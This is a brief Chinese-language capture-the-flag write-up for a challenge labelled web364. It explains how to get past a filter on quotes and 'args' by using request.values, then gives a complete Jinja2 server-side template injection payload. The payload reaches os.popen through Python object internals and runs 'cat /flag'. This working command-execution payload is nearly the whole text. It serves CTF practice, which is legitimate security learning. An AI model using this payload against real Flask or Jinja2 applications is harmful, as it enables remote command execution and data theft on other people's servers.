web364

首先测试过滤点，发现过滤了单双引号和args

可以使用values代替或则使用cookie进行绕过，本题不允许post传参

payload
?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.values.x1](request.values.x2).read()}}&x1=popen&x2=cat%20/flag